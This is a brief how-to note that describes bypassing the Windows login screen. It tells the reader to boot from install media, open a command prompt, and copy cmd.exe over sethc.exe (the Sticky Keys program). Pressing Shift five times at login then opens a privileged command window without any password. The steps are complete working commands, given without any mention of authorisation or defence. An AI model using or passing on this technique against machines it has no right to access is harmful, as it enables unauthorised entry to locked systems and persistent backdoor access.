

Access CMD before Login Screen

First reboot to install media.

Then hit

```
shift + f10
```

This opens up a CMD window.

Now type: (This assumes windows is installed under D:)

```
copy d:\windows\system32\sethc.exe d:\  
copy /y d:\windows\system32\cmd.exe d:\windows\system32\sethc.exe
```

Now reboot, @ login press

```
shift x5 (shift 5 times in a row)
```

This should bring a CMD window!
